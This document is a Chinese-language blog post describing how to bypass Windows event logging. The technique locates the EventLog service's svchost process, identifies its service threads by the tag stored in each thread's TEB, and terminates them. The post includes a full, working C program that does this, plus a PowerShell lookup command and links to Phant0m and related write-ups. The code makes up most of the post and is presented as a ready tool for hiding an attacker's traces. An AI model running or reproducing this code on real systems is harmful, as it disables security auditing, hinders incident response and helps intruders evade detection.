基于线程结束的EventLog绕过

简介
通常windows系统本身会记录一些较为特殊的操作，如登录、注销，而实现这部分功能通常是由windows自生的服务实现，windows 系统服务主要由svchost.exe进程进行启动和管理，本文会介绍如何从操作系统中识别并结束EventLog的服务线程，从而绕过windows的日志记录。
流程
找到EventLog对应的进程
找到EventLog进程具体的服务线程
结束服务线程
原理
首先我们需要定位到EventLog服务对应的进程，使用windows的services.msc查看发现windows服务是由svchost指定-s(从选定组中加载该标志指定的服务)参数查询注册服务进行启动(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Parameters下的servicedll键值对)，那我们可以通过遍历系统所有进程的commandline是否带有eventlog服务名来进行识别，主要实现方式由两种，通过进程快照遍历或通过调用wmi接口来识别。
对服务不了解的朋友可以看看这个。
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
获取到进程号之后我们需要识别具体的服务线程，在windows vista之后的系统，具体的服务线程约定使用servicemain作为入口点，同时服务线程自身会带有一个等同于服务名的tag，这个tag可以帮我们识别这个线程是否是我们寻找的，在x64线程teb中0x1720偏移的位置存放着service tag的数字标识句柄(这玩意不是句柄)，我们可以那这个数字标识使用I_QueryTagInformation api查询到具体service tag内容。
最后我们把识别出来的服务线程结束就好，因为转换成分派控制器的主线程依旧存在，所以进程本身并不会结束，这样就能很好的架空的日志服务。
代码
运行效果:
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>
#include <Tlhelp32.h>
#include <string.h>
#include <strsafe.h>
#pragma comment(lib, "ntdll.lib") 
​
​
typedef long NTSTATUS;
​
/**/
typedef struct _THREAD_BASIC_INFORMATION
{
    NTSTATUS    exitStatus;
    PVOID       pTebBaseAddress;
    CLIENT_ID   clientId;
    KAFFINITY               AffinityMask;
    int						Priority;
    int						BasePriority;
    int						v;
​
} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
​
typedef enum _SC_SERVICE_TAG_QUERY_TYPE
{
    ServiceNameFromTagInformation = 1,
    ServiceNameReferencingModuleInformation,
    ServiceNameTagMappingInformation,
} SC_SERVICE_TAG_QUERY_TYPE, * PSC_SERVICE_TAG_QUERY_TYPE;
​
typedef struct _SC_SERVICE_TAG_QUERY
{
    ULONG   processId;
    ULONG   serviceTag;
    ULONG   reserved;
    PVOID   pBuffer;
} SC_SERVICE_TAG_QUERY, * PSC_SERVICE_TAG_QUERY;
​
typedef ULONG(WINAPI* pI_QueryTagInformation)(PVOID, SC_SERVICE_TAG_QUERY_TYPE, PSC_SERVICE_TAG_QUERY);
typedef NTSTATUS(WINAPI* pNtQueryInformationThread)(HANDLE, THREAD_INFORMATION_CLASS, PVOID, ULONG, PULONG);
​
​
BOOL CheckEventProcess(DWORD ProcessId) {
    BOOL result = 0;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, ProcessId);
    if (!hProcess)
    {
        return false;
    }
    DWORD status = NtQueryInformationProcess(hProcess, (PROCESSINFOCLASS)0, &pbi, sizeof(PVOID) * 6, NULL);
​
    PPEB ppeb = (PPEB)((PVOID*)&pbi)[1];
    PEB pebdata = { 0 };
​
    ReadProcessMemory(hProcess, ppeb, &pebdata, sizeof(PEB), NULL);
​
    PRTL_USER_PROCESS_PARAMETERS prtlp = (&pebdata)->ProcessParameters;
    RTL_USER_PROCESS_PARAMETERS rtlp = { 0 };
​
    ReadProcessMemory(hProcess, prtlp, &rtlp, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL);
​
    PWSTR lpBuffer = (PWSTR)(&rtlp)->CommandLine.Buffer;
    USHORT len = (USHORT)(&rtlp)->CommandLine.Length;
​
    LPWSTR lpStrings = (LPWSTR)malloc(len);
​
    ZeroMemory(lpStrings, len);
​
    ReadProcessMemory(hProcess, lpBuffer, lpStrings, len, NULL);
​
​
    if (wcsstr(lpStrings, L"EventLog"))
    {
        result = true;
    }
​
    free(lpStrings);
​
    return result;
}
​
DWORD GetEventLogProcessId() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        return 0;
    }
    DWORD logpid = 0;
    PROCESSENTRY32W pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32W);
    BOOL bRet = Process32FirstW(hSnapshot, &pe32);
    while (bRet)
    {
        if (CheckEventProcess(pe32.th32ProcessID))
        {
            logpid = pe32.th32ProcessID;
            CloseHandle(hSnapshot);
            return logpid;
        }
        bRet = Process32NextW(hSnapshot, &pe32);
    }
    CloseHandle(hSnapshot);
    return 0;
}
​
​
BOOL CheckAndFuckEventProcess(DWORD processId, DWORD threadId, PULONG pServiceTag)
{
​
​
    ;
    HANDLE hProcess = NULL;
    HANDLE hThread = NULL;
    HANDLE hTag = NULL;
    HMODULE advapi32 = NULL;
    THREAD_BASIC_INFORMATION tbi = { 0 };
    pI_QueryTagInformation I_QueryTagInformation = NULL;
    pNtQueryInformationThread NtQueryInformationThread = NULL;
    SC_SERVICE_TAG_QUERY tagQuery = { 0 };
    WCHAR Buffer[MAX_PATH] = { 0 };
​
    NtQueryInformationThread = (pNtQueryInformationThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationThread");
    hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
    NtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS)0, &tbi, 0x30, NULL);//内存对齐
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
    ReadProcessMemory(hProcess, ((PBYTE)tbi.pTebBaseAddress + 0x1720), &hTag, sizeof(HANDLE), NULL);
​
​
    advapi32 = LoadLibrary(L"advapi32.dll");
​
    I_QueryTagInformation = (pI_QueryTagInformation)GetProcAddress(advapi32, "I_QueryTagInformation");
    tagQuery.processId = processId;
    tagQuery.serviceTag = (ULONG)hTag;
    I_QueryTagInformation(NULL, ServiceNameFromTagInformation, &tagQuery);
    if (tagQuery.pBuffer != 0)
    {
        StringCbCopy(Buffer, MAX_PATH, (PCWSTR)tagQuery.pBuffer);
    }
    else
    {
​
        CloseHandle(hProcess);
        CloseHandle(hThread);
        FreeLibrary(advapi32);
        return 0;
    }
​
    if (!wcscmp(Buffer, L"EventLog"))
    {
        TerminateThread(hThread,0);
        wprintf((WCHAR*)L"%d %s\n", threadId, Buffer);
    }
    LocalFree(tagQuery.pBuffer);
    CloseHandle(hProcess);
    CloseHandle(hThread);
    FreeLibrary(advapi32);
​
    return 1;
}
​
int main() {
    DWORD dwPid;
​
    dwPid = GetEventLogProcessId();
​
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hSnapshot)
    {
        return 0;
    }
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
​
    BOOL bRet = Thread32First(hSnapshot, &te32);
    while (bRet)
    {
        if (te32.th32OwnerProcessID == dwPid)
        {
            CheckAndFuckEventProcess(dwPid, te32.th32ThreadID, NULL);
        }
​
​
        bRet = Thread32Next(hSnapshot, &te32);
    }
    CloseHandle(hSnapshot);
    return 0;
​
}
LINKS
ScTagQuery
www.winsiderss.com
Phant0m: Killing Windows Event Log
Phant0m is a PowerShell script and targets the Windows Event Log Service in Windows operating system. Because the most traces of a possible attack remain in the operating system logs. If we targeting Event Log Service first of all, let’s remember how services working on Windows operating system. When you look at the task manager, you see a lot of svchost.exe. If we are interested in Windows’ own services, we need to know how svchost.exe works and why?
artofpwn.com
3gstudent-Blog
A Jekyll Blog Theme For Hackers
3gstudent.github.io
HOWTO: Use I_QueryTagInformation
Process Explorer 12 includes a new feature whereby you can view service names associated with threads. To find out how this works, read this article by Alex Ionescu. You won’t be completely s…
wj32.org
​
最近更新 5 months ago